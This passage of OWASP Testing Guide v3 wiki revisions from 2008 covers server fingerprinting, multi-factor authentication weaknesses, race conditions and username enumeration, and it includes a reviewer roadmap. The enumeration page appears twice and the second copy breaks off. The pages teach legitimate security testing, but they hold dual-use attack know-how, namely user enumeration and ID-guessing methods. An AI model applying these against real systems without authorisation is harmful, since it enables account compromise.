Another element that can be detected: network load balancers. Typically, these systems will balance a given TCP/IP port to multiple servers based on different algorithms (round-robin, web server load, number of requests, etc.). Thus, the detection of this architecture elements needs to be done by examining multiple requests and comparing results in order to determine if the requests are going to the same or different web servers. For example, based on the Date: header if the server clocks are not synchronised. [[Category:FIXME|the prior sentence needs a verb]] In some cases, the network load balance process might inject new information in the headers that will make it stand out distinctively, like the AlteonP cookie introduced by Nortel’s Alteon WebSystems load balancer.

Application web servers are usually easy to detect. The request for several resources is handled by the application server itself (not the web server) and the response header will vary significantly (including different or additional values in the answer header). Another way to detect these is to see if the web server tries to set cookies which are indicative of an application web server being used (such as the JSESSIONID provided by some J2EE servers) or to rewrite URLs automatically to do session tracking.

Authentication backends (such as LDAP directories, relational databases, or RADIUS servers) however, are not as easy to detect from an external point of view in an immediate way, since they will be hidden by the application itself.

The use of a database backend can be determined simply by navigating an application. If there is highly dynamic content generated “on the fly," it is probably being extracted from some sort of database by the application itself. Sometimes the way information is requested might give insight to the existence of a database back-end. For example, an online shopping application that uses numeric identifiers (‘id’) when browsing the different articles in the shop. However, when doing a blind application test, knowledge of the underlying database is usually only available when a vulnerability surfaces in the application, such as poor exception handling or susceptibility to SQL injection.

[[Category:FIXME|the sentence "For example..." needs a verb]]

===Known server vulnerabilities===

Vulnerabilities found in the different elements that make up the application architecture, be it the web server or the database backend, can severely compromise the application itself. For example, consider a server vulnerability that allows a remote, unauthenticated user, to upload files to the web server, or even to replace files. This vulnerability could compromise the application, since a rogue user may be able to replace the application itself or introduce code that would affect the backend servers, as its application code would be run just like any other application.

Reviewing server vulnerabilities can be hard to do if the test needs to be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated tool; however, the testing of some vulnerabilities can have unpredictable results to the web server, and testing for others (like those directly involved in denial of service attacks) might not be possible due to the service downtime involved if the test was successful. Also, some automated tools will flag vulnerabilities based on the web server version retrieved. This leads to both false positives and false negatives: on one hand, if the web server version has been removed or obscured by the local site administrator, the scan tool will not flag the server as vulnerable even if it is; on the other hand, if the vendor providing the software does not update the web server version when vulnerabilities are fixed in it, the scan tool will flag vulnerabilities that do not exist. The latter case is actually very common in some operating system vendors that do backport patches of security vulnerabilities to the software they provide in the operating system but do not do a full upload to the latest software version. This happens in most GNU/Linux distributions such as Debian, Red Hat or SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such as the web server) and will usually be unable to find vulnerabilities associated to elements which are not directly exposed, such as the authentication backends, the database backends, or reverse proxies in use.

Finally, not all software vendors disclose vulnerabilities in public way, and therefore these weaknesses do not become registered within publicly known vulnerability databases[2]. This information is only disclosed to customers or published through fixes that do not have accompanying advisories. This reduces the usefulness of vulnerability scanning tools. Typically, vulnerability coverage of these tools will be very good for common products (such as the Apache web server, Microsoft’s Internet Information Server, or IBM’s Lotus Domino) but will be lacking for lesser known products.

This is why reviewing vulnerabilities is best done when the tester is provided with internal information of the software used, including versions and releases used and patches applied to the software. With this information, the tester can retrieve the information from the vendor itself and analyze what vulnerabilities might be present in the architecture and how they can affect the application itself. When possible, these vulnerabilities can be tested in order to determine their real effects and to detect if there might be any external elements (such as intrusion detection or prevention systems) that might reduce or negate the possibility of successful exploitation. Testers might even determine, through a configuration review, that the vulnerability is not even present, since it affects a software component that is not in use.

It is also worthwhile to notice that vendors will sometimes silently fix vulnerabilities and make them available on new software releases. Different vendors will have difference release cycles that determine the support they might provide for older releases. A tester with detailed information of the software versions used by the architecture can analyse the risk associated to the use of old software releases that might be unsupported in the short term or are already unsupported. This is critical, since if a vulnerability were to surface in an old software version that is no longer supported, the systems personnel might not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable (as it is unsupported). Even in the event that they are aware that the vulnerability is present and the system is, indeed, vulnerable, they will need to do a full upgrade to a new software release, which might introduce significant downtime in the application architecture or might force the application to be recoded due to incompatibilities with the latest software version.

===Administrative tools===

Any web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application: static content (web pages, graphic files), applications source code, user authentication databases, etc. Depending on the site, technology or software used, administrative tools will differ. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case[3]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net). In most cases, however, the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).

Review of the administrative interfaces used to manage the different parts of the architecture is very important, since if an attacker gains access to any of them he can then compromise or damage the application architecture. Thus it is important to:

* List all the possible administrative interfaces.
* Determine if administrative interfaces are available from an internal network or are also available from the Internet.
* If available from the Internet, determine the mechanisms that control access to these interfaces and their associated susceptibilities.
* Change the default user and password.

Some companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.

==References==
* [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
* [2] Such as Symantec’s Bugtraq, ISS’ X-Force, or NIST’s National Vulnerability Database (NVD).
* [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.

OWASP Testing Project v3 Review Roadmap

2008-09-07T17:21:31Z

Namn:

'''This page track all the update to the Testing Guide v3 during the Reviewing phase.''' 

In particular the focus is: 
- Review the content of each article 
- Review the english sintax 
- no "attacker", better "tester" 
- no "we describe", but "it is described" 

Official Testing Guide Reviewers are:
* Nam Nguyen
* Kevin R.Fuller
* if you want to review it add your name please and keep track of updating

'''Nam Review:'''
----
Aug 31, 2008
* Appendix D
* Appendix C
* Appendix B
* Appendix A
* Chapter 5
** [[How to write the report of the testing]]
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''
* Chapter 4
** Section 4.11 [[Testing for AJAX Vulnerabilities]]
*** There are mentioning of "attackers" but I think they are fine.
*** The subsection on Memory leaks is not complete.
** Section 4.11 [[Testing for AJAX]]
*** The subsection "Intercepting and Debugging JS code with Browsers" is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.

Sep 02, 2008
* Chapter 4
** Section 4.10
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?

Sep 04, 2008
* Chapter 4
** Section 4.9
** Section 4.8
*** I'm not sure if format string could be classified under subsection 4.8.14 "Buffer overflow testing".
*** Subsecion 4.8.3: Incomplete
*** Subsection 4.8.4: Incomplete
*** Subsection 4.8.5: What is "data-plane input"?

Sep 06, 2008
* Chapter 4
** Section 4.8

Sep 07, 2008
* Chapter 4
** Section 4.7
** Section 4.6
*** Subsection 4.6.1: "Review code for path traversal" does not exist in the Code Review Guide, or the link the broken.
** Section 4.5

'''Kevin Review:'''
----
Date 
articles reviewed 
Date 
articles reviewed 
Questions: (Mat will answer it)

Testing for Race Conditions (OWASP-AT-010)

2008-09-07T17:20:25Z

Namn: /* Gray Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
A race condition is a flaw that produces an unexpected result when timing of actions impact other actions. An example may be seen on a multithreaded application where actions are being performed on the same data. Race conditions, by their very nature, are difficult to test for.

==Description of the Issue==
Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events.
In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled
by the framework, server or programming language.
The following simplified example illustrates a potential concurrency problem in a transactional web application and relates to a joint savings account in which both users (threads) are logged into the same account and attempting a transfer. 
 
Account A has 100 credits. 
Account B has 100 credits. 
 
Both User 1 and User 2 want to transfer 10 credits from Account A to Account B. If the transaction was correct the outcome should be: 
 
Account A has 80 credits. 
Account B has 120 credits. 
 
However, due to concurrency issues, the following result could be obtained: 
 
User 1 checks the value of Account A (=100 credits) 
User 2 checks the value of Account A (=100 credits) 
User 2 takes 10 credits from Account A (=90 credits) and put it in Account B (=110 credits) 
User 1 takes 10 credits from Account A (Still believed to contain 100 credits) (=90 credits) and puts it into Account B (=120 credits). 
 
Result:
Account A has 90 credits. 
Account B has 120 credits. 
 

Another example can be seen in OWASP's WebGoat project under the Thread Safety lesson and shows how a shopping cart can be manipulated to purchase items for less than their advertised price. This, as with the example above, is due to the data changing between the time of check and its time of use.

==Black Box testing and example==
Testing for race conditions is problematic due to their nature, and external influences on testing including server load, network latency etc will all play a part in the presence and detection of the condition. 
However, testing can be focused at specific transactional areas of the application, where time of read to time of use of specific data variables could be adversely affected by concurrency issues.
 
Black Box testing attempts to force a race condition may include the ability to make multiple simultaneous requests while observing the outcome for unexpected behavior.
 
Examples of such areas are illustrated in the paper "On Race Vulnerabilities in Web Applications", cited in the further reading section. The authors suggest that it may be possible in certain circumstances to:

* Create multiple user accounts with the same username.
* Bypass account lockouts against brute forcing.
 
Testers should be aware of the security implications of race conditions and their factors surrounding their difficulty of testing.

==Gray Box testing and example==

Code review may reveal likely areas of concern for concurrency issues. More information on reviewing code for concurrency issues can be seen at OWASP Code Review Guide's [[Reviewing Code for Race Conditions]]

==References==

iSec Partners - Concurrency attacks in Web Applications http://isecpartners.com/files/iSEC%20Partners%20-%20Concurrency%20Attacks%20in%20Web%20Applications.pdf 
B. Sullivan and B. Hoffman - Premature Ajax-ulation and You https://www.blackhat.com/presentations/bh-usa-07/Sullivan_and_Hoffman/Whitepaper/bh-usa-07-sullivan_and_hoffman-WP.pdf 
Thread Safety Challenge in WebGoat - http://www.owasp.org/index.php/OWASP_WebGoat_Project 
R. Paleari, D. Marrone, D. Bruschi, M. Monga - On Race Vulnerabilities in Web Applications http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf

Testing Multiple Factors Authentication (OWASP-AT-009)

2008-09-07T17:11:07Z

Namn: /* Gray Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
Evaluating the strength of a “Multiple Factors Authentication system” (MFAS) is a critical task for the Penetration tester. Banks and other Financial institutions are going to spend considerable amounts of money on expensive MFAS; therefore performing accurate tests before the adoption of a particular solution is absolutely suggested. In addition a further responsibility of the Penetration Testers is to acknowledge if the currently adopted MFAS is effectively able to defend the organization assets from the threats that generally drive the adoption of a MFAS.
 

== Description of the Issue ==
 
Generally the aim of a two factor authentication system is to enhance the strength of the authentication process [1]. This goal is achieved by checking an additional factor, or “something you have” as well as “something you know”, making sure that the user holds a hardware device of some kind in addition to the password. The hardware device provided to the user may be able to communicate directly and independently with the authentication infrastructure using an additional communication channel; this particular feature is something known as “separation of channels”.
 
Bruce Schneier in 2005 observed that some years ago “the threats were all passive: eavesdropping and offline password guessing. Today, the threats are more active: phishing and Trojan horses” [2]. Actually the common threats that a MFAS in a Web environment should correctly address include:
 
# Credential Theft (Phishing, Eavesdropping, MITM e.g. Banking from compromised network)
# Weak Credentials (Credentials Password guessing and Password Bruteforcing attacks)
# Session based attacks (Session Riding, Session Fixation)
# Trojan and Malware attacks (Banking from compromised clients)
# Password Reuse (Using the same password for different purposes or operations, e.g. different transactions)
 
The optimal solution should be able to address all the possible attacks related to the 5 categories above.
Since the strength of an authentication solution is generally classified depending on how many “authentication factors” are checked when the user gets in touch with the computing system, the typical IT professional’s advise is: “If you are not happy with your current authentication solution, just add another authentication factor and it will be all right”. [3] Unfortunately, as we will see in the next paragraphs the risk associated to attacks performed by motivated attackers cannot be totally eliminated; in addition some MFAS solutions are more flexible and secure compared to the others.
 
Considering the ''5-Threats (5T)'' above we could analyze the strength of a particular MFAS solution, since the solution may be able to ''Address'', ''Mitigate'' or ''Not Remediate'' that particular Web Attack. 

== Gray Box testing and example ==
A minimum amount of information about the authentication schema in use is necessary for testing the security of the MFAS solution in place. This is the main reason why the “Black Box Testing” section has been omitted. In particular, a general knowledge about the whole authentication infrastructure is important because:
* MFAS solutions are principally implemented to authenticate disposal operations. Disposal actions are supposed to be performed in the inner parts of the secure website.
* Attacks carried out successfully against MFAS are performed with a high degree of control over what is happening. This statement is usually true because attackers can “grab” detailed information on a particular authentication infrastructure by harvesting any data they can intercept through Malware attacks. Assuming that an attacker must be a customer to know how the authentication of a banking website works is not always correct; the attackers just need to get control of a single customer to study the entire security infrastructure of a particular website (Authors of SilentBanker Trojan [4] are known for continuously collecting information of visited websites while infected users browse the internet. Another example is the attack performed against the Swedish Nordea bank in 2005 [5]).
 
The following examples are about a security evaluation of different MFAS, based upon the ''5T'' model presented above.
 
The most common authentication solutions for Web applications is User ID and password authentication. In this case, an additional password for authorizing wire transfers is often required.
MFAS solution add “something you have” to the authentication process. This component is usually a:
 
* One-time password (OTP) generator token.
* Grid Card, Scratch Card and any information that only the legitimate user is supposed to have in his wallet
* Crypto devices like USB tokens or smart cards, equipped with X.509 certificates.
* Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP] [6]
 
The following examples are about the testing and evaluation of different implementations of MFAS similar to the ones above. Penetration Testers should consider all possible weakness of the current solution to propose the correct Mitigating Factors, in case the infrastructure is already in place. A correct evaluation may also permit to choose the right MFAS for the infrastructure during a preliminary solution selection.
 
A Mitigating Factor is any additional component or countermeasure that might result in reduced likelihood of exploitation of a particular vulnerability. Credit cards are a perfect example. Notice how little attention is paid to cardholder authentication. Clerks barely check signatures. People use their cards over the phone and on the Internet, where the card's existence isn't even verified . The credit card companies spend their security dollar “controlling” the transaction, not the cardholder [7]. The transactions could be effectively controlled by behavioral algorithms that automatically fill up a risk score chart while the user uses his own credit card. Anything that is marked as suspected could be temporarily blocked by the circuit. 
Another Mitigating Factor is also informing the customer about what is happening through a separate and secure channel. Credit Card industry uses this method for informing the user about credit card transactions via SMS messages. If a fraudulent action is taken, the user knows immediately that something gone wrong with his credit card. Real time information through separate channels can also have an higher accuracy by informing the user about transactions, before those transactions are successfully.
 
Common '''"User ID, password and Disposal password"''' usually protect from (3), partially from (2). Usually do not protect from (1), (4) and (5). From a Penetration tester point of view, for correctly testing this kind of authentication system, we should concentrate on what the solution should protect from.
 
In other words the adopters of a “User ID, Password and Disposal password” authentication solution should be protected from (2) and from (3). A penetration tester should check if the current implementation effectively enforce the adoption of strong passwords and if is resilient to Session Based attacks (e.g. Cross Site Request Forgeries attacks in order to force the user to submitting unwanted disposal operations).
 
*Vulnerability Chart for “UserID + Password + Disposal Password” based authentication: 
**''Known Weaknesses:'' 1, 4 ,5 
**''Known Weaknesses (Details):'' This technology doesn’t protect from (1) because the password is static and can be stolen through blended threat attacks [8] (e.g. MITM attack against a SSLv2 connection). It doesn’t protect from (4) and (5) because it’s possible to submit multiple transactions with the same disposal password. 
**''Strengths (if well implemented):'' 2, 3
**''Strengths (Details):'' This technology protects from (2) only if password enforcement rules are in place. It protects from (3) because the need for a disposal password does not permit an attacker to abuse the current user session to submit disposal operations [9].
 
Now let’s analyze some different implementations of MFASs:
 
'''"One Time Password Tokens"''' protects from (1), (2) and (3) if well implemented. Do not always protect from (5). Almost never protect from (4).
 
*Vulnerability Chart for "One Time Password Tokens" based authentication: 
**''Known Weaknesses:'' 4, sometimes 5 
**''Known Weaknesses (Details):'' OTP tokens do not protect from (4), because Banking Malware is able to modify the Web Traffic in real-time upon pre-configured rules; examples of this kind include malicious codes SilentBanker, Mebroot, and Trojan Anserin . Banking Malware works like a web proxy interacting with HTTPS pages. Since Malware takes total control over a compromised client, any action that a user performs is registered and controlled: Malware may stop a legitimate transaction and redirecting the wire transfer to a different location. Password Reuse (5) is a vulnerability that may affect OTP tokens. Tokens are valid for a certain amount of time e.g. 30 seconds; if the authentication does not discard tokens that have been already used, it could be possible that a single token may authenticate multiple transactions during its 30 seconds lifetime. 
**''Strengths (if well implemented):'' 1,2,3 
**''Strengths (Details):'' OTP tokens mitigate effectively (1), because token lifetime is usually very short. In 30 seconds the attacker should be able to steal the token, entering the banking website and performing a transaction. It could be feasible, but it’s not usually going to happen in large scale attacks. Usually protect from (2) because OTP HMAC are at least 6 digits long. Penetration Testers should check that the algorithm implemented by the OTP tokens under the test is safe enough and not predictable. Finally usually protect from (3) because the disposal token is always required. Penetration testers should verify that the procedure of requesting the validation token would not be bypassed.
 
'''"Grid Cards, Scratch Cards and any information that only the legitimate user is supposed to have in his Wallet"'''
should protect from (1), (2), (3). Like OTP tokens cannot protect from (4). During testing activities grid cards in particular have been found vulnerable to (5). Scratch card are not vulnerable to password reuse, because any code can be used just one time. 
The penetration tester during the assessment of technologies of this kind should pay particular attention to Password Reuse attacks (5) for grid cards. A grid card based system commonly would request the same code multiple times. An attacker would just need to know a single valid disposal code (e.g one of those inside the grid card), and to wait until the system requests the code that he knows. Tested grid cards that contain a limited number of combinations are usually prone to this vulnerability. (e.g., if a grid card contains 50 combinations the attacker just needs to ask for a disposal, filling up the fields, checking the challenge, and so on. This attack is not about bruteforcing the disposal code, it’s about bruteforcing the challenge). Other common mistakes include a weak password policy. Any disposal password contained inside the gridcard should have a length of at least 6 numbers . Attacks could be very effective in combination with blended threats or Cross Site Request forgeries.
 
'''"Crypto Devices with certificates (Token USB, Smart Cards)"''' offer a good layer of defense from (1), (2). It’s a common mistake to believe that they would always protect from (3), (4) and (5).
Unfortunately technologies offer the best security promises and at the same time some of the worst implementations around. USB tokens vary from vendor to vendor. Some of them authorize a user when they are plugged in, and do not authorize operations when they are unplugged. It seems to be a good behavior, but what it looks like is that some of them add further layers of implicit authentication. Those devices, do not protect users from (3) (e.g. Session Riding and Cross Site Scripting code for automating transfers).
 
'''Custom “Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP]”''' could protect effectively from (1), (2), (3) and (5). Could also mitigate effectively (4) if well implemented. This solution, compared to the previous one is the only one that uses an independent channel to communicate with the banking infrastructure.
This solution is usually very effective if well implemented. By separating the communication channels, it’s possible to inform the user about what is going on. 
Ex. of a disposal token sent via SMS: 
"This token: 32982747 authorizes a wire transfer of $ 1250.4 to bank account 2345623 Bank of NY".
The previous token authorizes a unique transaction, that is reported inside the text of the SMS message. In this way the user can control that the intended transfer is effectively going to be directed to the right bank account. 
The approach described in this section is intended to provide a simple methodology to evaluate Multiple factor authentication systems. The examples shows are taken from real-case scenarios and can be used as a starting point for analyzing the efficacy of a custom MFAS.

== References ==
'''Whitepapers''' 
[1] [Definition] Wikipedia, Definition of Two Factor Authentication 
http://en.wikipedia.org/wiki/Two-factor_authentication 
[2] [SCHNEIER] Bruce Schneier, Blog Posts about two factor authentication 2005, 
http://www.schneier.com/blog/archives/2005/03/the_failure_of.html 
http://www.schneier.com/blog/archives/2005/04/more_on_twofact.html 
[3] [Finetti] Guido Mario Finetti, "Web application security in un-trusted client scenarios" 
http://www.scmagazineuk.com/Web-application-security-in-un-trusted-client-scenarios/article/110448 
[4] [SilentBanker Trojan] Symantec, Banking in Silence 
http://www.symantec.com/enterprise/security_response/weblog/2008/01/banking_in_silence.html 
[5] [Nordea] Finextra, Phishing attacks against two factor authentication, 2005 
http://www.finextra.com/fullstory.asp?id=14384 
[6] [SMSOTP] Bruce Schneier, “Two-Factor Authentication with Cell Phones”, November 2004, 
http://www.schneier.com/blog/archives/2004/11/twofactor_authe.html 
[7] [Transaction Authentication Mindset] Bruce Schneier, "Fighting Fraudolent Transaction" 
http://www.schneier.com/blog/archives/2006/11/fighting_fraudu.html 
[8] [Blended Threat] http://en.wikipedia.org/wiki/Blended_threat 
[9] [GUNTEROLLMANN] Gunter Ollmann, “Web Based Session Management. Best practices in managing HTTP-based client sessions”, 
http://www.technicalinfo.net/papers/WebBasedSessionManagement.htm

Testing for User Enumeration and Guessable User Account (OWASP-AT-002)

2008-09-07T13:53:27Z

Namn: /* References */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password.
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.
 

== Description of the Issue ==
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server, when we provide a valid username is different than when we use an invalid one.

In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password.
 

== Black Box testing and example ==
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users.
 
 
'''HTTP Response message'''
 
'''Testing for Valid user/right password'''
 
Record the server answer when you submit a valid userID and valid password.
 

'''Result Expected:''' 
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).
 

'''Testing for valid user/wrong password''' 
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.
 

'''Result Expected:''' 
From the browser we will expect message similar to the following one: 
[[Image:AuthenticationFailed.png]] 

or something like: 
[[Image:NoConfFound.jpg]] 

against any message that reveals the existence of user, for instance, message similar to: 
Login for User foo: invalid password
 

Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).
 
'''Testing for a nonexistent username''' 
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.

'''Result Expected:''' 
If we enter a nonexistent userID, we can receive a message similar to: 
[[Image:Userisnotactive.png]] 
or message like the following one: 
Login failed for User foo: invalid Account
 

Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 responses. For example:
* Client request: Valid user/wrong password --> Server answer:'The password is not correct'
* Client request: Wrong user/wrong password --> Server answer:'User not recognized'
The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer. 
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.
 
'''Other ways to enumerate users''' 
We can enumerate users in several ways, such as: 
'''- Analyzing the error code received on login pages''' 
Some web application release a specific error code or message that we can analyze. 

'''- Analyzing URLs, and URLs redirections''' 
For example: 
http://www.foo.com/err.jsp?User=baduser&Error=0 
http://www.foo.com/err.jsp?User=gooduser&Error=2
 
As we can see above, when we provide a userID and password to the web application, we see a message indication that an error has occurred in the URL.
In the first case we has provided a bad userID and bad password. In the second, a good user and bad password, so we can identify a valid userID.
 
 

'''- URI Probing''' 
Sometimes a web server responds differently if it receives a request for an existing directories or not. For instance in some portals every user is associated with a directory, if we try to access an existing directory we could receive a web server error.
A very common errors that we can receive from web server is: 
403 Forbidden error code
and 
404 Not found error code
 
Example 
http://www.foo.com/account1 - we receive from web server: 403 Forbidden
http://www.foo.com/account2 - we receive from web server: 404 file Not Found
 
In first case the user exists, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.
Collecting this information we can enumerate the users.
 

'''- Analyzing Web page Title''' 
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.
For instance, if we cannot authenticate to an application and receive a web page whose title is similar to:
Invalid user
Invalid authentication

 
 
'''- Analyzing message received from recovery facilities''' 
When we use a recovery facilities the applications that is vulnerable could return a message that reveala if a username exists or not.

For example, message similar to the following: 
Invalid username: e-mail address are not valid or The specified user was not found

Valid username: Your recovery password has been successfully sent
 

'''- Friendly 404 Error Message''' 
When we request for a user within the directory that does not exist, we don't always receive 404 error code. Instead, we may receive “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.
 
 
'''Guessing Users''' 
In some cases the userIDs are created with specific policies of administrator or company.
For example we can view a users with a userID created in sequential order: 
CN000100 
CN000101 
…. 
Sometimes the username are created with a REALM alias and then a sequential numbers: 
R1001 – user 001 for REALM1 
R2001 – user 001 for REALM2 
 
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern.
In the above sample we can create simple shell scripts that compose UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.
To create a script we can use also Perl and CURL.

Again, we can guess a username from the information received from an LDAP query or from a google information gathering for example from a specific domain.
Google for example can help to find domain users through a specific queries or through a simple shell script or tool.

For other information on guessing for userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.
 
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.

== Gray Box testing and example ==
'''Testing for Authentication error messages''' 
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and Gray Box testing have the same concept based on the analysis of messages or error codes received from web application. 
'''Result Expected:''' 
The application should answer in the same manner for every failed attempt of authentication. 
For Example: 
Credentials submitted are not valid
 

== References ==
'''Tools''' 
* WebScarab: [[OWASP_WebScarab_Project]]
* CURL: http://curl.haxx.se/
* PERL: http://www.perl.org

Testing for User Enumeration and Guessable User Account (OWASP-AT-002)

2008-09-07T13:53:06Z

Namn: /* Gray Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password.
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.
 

== Description of the Issue ==
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server, when we provide a valid username is different than when we use an invalid one.

In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password.
 

== Black Box testing and example ==
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users.
 
 
'''HTTP Response message'''
 
'''Testing for Valid user/right password'''
 
Record the server answer when you submit a valid userID and valid password.
 

'''Result Expected:''' 
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).
 

'''Testing for valid user/wrong password''' 
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.
 

'''Result Expected:''' 
From the browser we will expect message similar to the following one: 
[[Image:AuthenticationFailed.png]] 

or something like: 
[[Image:NoConfFound.jpg]] 

against any message that reveals the existence of user, for instance, message similar to: 
Login for User foo: invalid password
 

Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).
 
'''Testing for a nonexistent username''' 
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.

'''Result Expected:''' 
If we enter a nonexistent userID, we can receive a message similar to: 
[[Image:Userisnotactive.png]] 
or message like the following one: 
Login failed for User foo: invalid Account
 

Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 responses. For example:
* Client request: Valid user/wrong password --> Server answer:'The password is not correct'
* Client request: Wrong user/wrong password --> Server answer:'User not recognized'
The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer. 
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.
 
'''Other ways to enumerate users''' 
We can enumerate users in several ways, such as: 
'''- Analyzing the error code received on login pages''' 
Some web application release a specific error code or message that we can analyze. 

'''- Analyzing URLs, and URLs redirections''' 
For example: 
http://www.foo.com/err.jsp?User=baduser&Error=0 
http://www.foo.com/err.jsp?User=gooduser&Error=2
 
As we can see above, when we provide a userID and password to the web application, we see a message indication that an error has occurred in the URL.
In the first case we has provided a bad userID and bad password. In the second, a good user and bad password, so we can identify a valid userID.
 
 

'''- URI Probing''' 
Sometimes a web server responds differently if it receives a request for an existing directories or not. For instance in some portals every user is associated with a directory, if we try to access an existing directory we could receive a web server error.
A very common errors that we can receive from web server is: 
403 Forbidden error code
and 
404 Not found error code
 
Example 
http://www.foo.com/account1 - we receive from web server: 403 Forbidden
http://www.foo.com/account2 - we receive from web server: 404 file Not Found
 
In first case the user exists, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.
Collecting this information we can enumerate the users.
 

'''- Analyzing Web page Title''' 
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.
For instance, if we cannot authenticate to an application and receive a web page whose title is similar to:
Invalid user
Invalid authentication

 
 
'''- Analyzing message received from recovery facilities''' 
When we use a recovery facilities the applications that is vulnerable could return a message that reveala if a username exists or not.

For example, message similar to the following: 
Invalid username: e-mail address are not valid or The specified user was not found

Valid username: Your recovery password has been successfully sent
 

'''- Friendly 404 Error Message''' 
When we request for a user within the directory that does not exist, we don't always receive 404 error code. Instead, we may receive “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.
 
 
'''Guessing Users''' 
In some cases the userIDs are created with specific policies of administrator or company.
For example we can view a users with a userID created in sequential order: 
CN000100 
CN000101 
…. 
